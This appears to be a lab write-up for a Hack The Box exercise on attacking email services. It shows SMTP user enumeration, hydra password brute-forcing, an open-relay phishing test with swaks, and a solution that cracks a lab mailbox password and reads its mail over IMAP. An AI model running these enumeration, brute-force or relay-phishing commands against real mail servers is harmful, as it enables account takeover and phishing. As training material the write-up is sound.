- SMTP: Sending email.
- POP3: Downloading email to the client.
- IMAP4: Accessing email from multiple devices.
Common Ports
- SMTP: 25 (unencrypted), 465 and 587 (encrypted)
- IMAP4: 143 (unencrypted), 993 (encrypted)
- POP3: 110 (unencrypted), 995 (encrypted)
Enumeration (MX Records)
terminal
host -t MX hackthebox.eudig mx inlanefreight.htb
User Enumeration
terminal
telnet 10.129.14.128 25VRFY rootEXPN support-teamRCPT TO:john
Automated.
terminal
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.14.128
Password Attacks
terminal
$ hydra -L users.txt -p 'Password123!' 10.129.14.128 <smtp/pop3/imap4>
Common Misconfigurations (Open Relay)
Allows sending emails without authentication, which facilitates phishing.
terminal
$ nmap -p25 --script smtp-open-relay 10.129.14.128swaks --from fake@domain.com --to victim@domain.com --body 'Phishing link' --server 10.129.14.128
How to Solve the Exercise
Enumerate users with RCPT, finding marlin@inlanefreight.htb:
terminal
smtp-user-enum -M RCPT -u marlin -D inlanefreight.htb -t 10.129.21.106
Find the password with hydra:
terminal
$ hydra -l marlin@inlanefreight.htb -P pws.list 10.129.21.106 smtp -I# login: marlin@inlanefreight.htb password: poohbear
Log in to IMAP (port 143) and read the email:
txt
1 LOGIN marlin@inlanefreight.htb poohbear
1 SELECT INBOX
1 FETCH 1 BODY[TEXT]